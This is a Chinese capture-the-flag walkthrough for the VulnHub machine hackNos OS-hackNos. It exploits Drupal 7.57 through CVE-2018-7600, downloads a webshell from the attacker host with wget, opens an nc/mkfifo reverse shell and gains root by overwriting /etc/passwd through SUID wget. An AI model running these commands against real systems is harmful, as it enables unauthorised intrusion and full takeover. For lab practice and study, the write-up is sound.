0x01 靶机简介
Difficulty : Easy to Intermediate
Flag : 2 Flag first user And second root
Learning : exploit | Web Application | Enumeration | Privilege Escalation
Website : www.hackNos.com
mail : contact@hackNos.com
靶机下载 https://www.vulnhub.com/entry/hacknos-os-hacknos,401/
通过靶机简介,明确靶场的通关目标为获取到包括root在内的两个user相关flag
0x02 信息收集
- 存活主机发现
因为没有目标主机的IP,所以我们先扫一下C段。
nmap -A 192.168.31.0/24
发现目标主机地址为192.168.31.50,同时该主机开启了22端口和80端口。 - 目录扫描
80端口为web服务的端口,浏览器访问192.168.31.50:80发现是Apache的默认页。
扫描一下网站目录。
gobuster dir -u http://192.168.31.50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o ~/Desktop/oshacknos/oshacknos
发现存在drupal的目录,访问http://192.168.31.50/drupal/跳转到了一个登录页面
0x03 getshell
- 漏洞发现
drupal是一个PHP语言编写的CMS管理系统,我们先访问http://192.168.31.50/drupal/CHANGELOG.txt查看一下drupal的更新日志,查看到当前drupal的版本号为7.57。
通过搜索引擎搜索,查询到drupal 7.57存在一个RCE漏洞,CVE编号为CVE-2018-7600。然后在最大同性交友网站github上找到了EXP,地址为https://github.com/pimps/CVE-2018-7600。 - 漏洞利用
运行找到的exp,查看帮助后得知只需要指定目标,然后-c指定命令即可
如python3 drupa7-CVE-2018-7600.py http://192.168.31.50/drupal/ -c id
就是执行id命令
- 上传webshell
利用RCE漏洞,我们能上传一个webshell到目标主机。
首先使用python开启一个简单的http服务来传输文件python -m SimpleHTTPServer
,端口为默认的8000
上传一句话后门到目标主机
python3 drupa7-CVE-2018-7600.py http://192.168.31.50/drupal/ -c "wget http://192.168.31.228:8000/asson.php"
检查webshell是否上传成功
python3 drupa7-CVE-2018-7600.py http://192.168.31.50/drupal/ -c ls
访问http://192.168.31.50/drupal/asson.php,然后使用蚁剑进行链接
-
拿到第一个flag
通过webshell进到/home/james目录,发现目录下有一个user.txt的文件,打开后拿到第一个flag
0x04 提权get第二个flag
通过靶场的简介得知,还有一个flag是root用户的。尝试直接cd到root目录,提示权限不够,因此得想办法提权。
- 通过NC拿到反弹shell
kali开启监听,nc -lvnp 12345
蚁剑的shell上使用rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.31.228 12345 >/tmp/f
命令反弹shell
使用python3 -c 'import pty;pty.spawn("/bin/bash")'
命令切换到python3的shell,可以方便的看到目录
- 利用suid提权
- 查找具有suid权限的进程
find / -perm -u=s -type f 2>/dev/null
看到WGET进程具有suid权限,因此我们思路就可以确定了。先复制目标主机的passwd内容,接着在kali上向passwd文件内添加一个具有root权限的账号,然后利用具有suid权限的WGET进行将passwd文件进行替换。 - 在kali新建一个passwd文件,并复制目标主机的passwd文件内容,粘贴到kali的passwd文件中
目标主机运行cat /etc/passwd
命令,并复制passwd文件内容
kali机运行vi passwd
粘贴目标主机passwd内容并保存 - 新建一个OpenSSL账号,并替换为root权限,粘贴至kali机的passwd文件内
openssl passwd -1 -salt asson 123456
生成的密码密文为asson1p0D5QYpC4uhGp1ikB265f/:0:0:root:/root:/bin/bash并新增至kali机的passwd文件内
- 替换目标主机的passwd文件
目标主机运行wget http://192.168.31.228:8000/passwd -O /etc/passwd
-
get第二个flag
passwd文件替换成功后,su到asson用户即可拥有root权限
cd到root目录,发现目录下存在root.txt文件,打开后即可get第二个flag
0x05 总结
已知网站的CMS时,第一时间查找CMS相关的漏洞,不要自己瞎搞!浪费时间!!!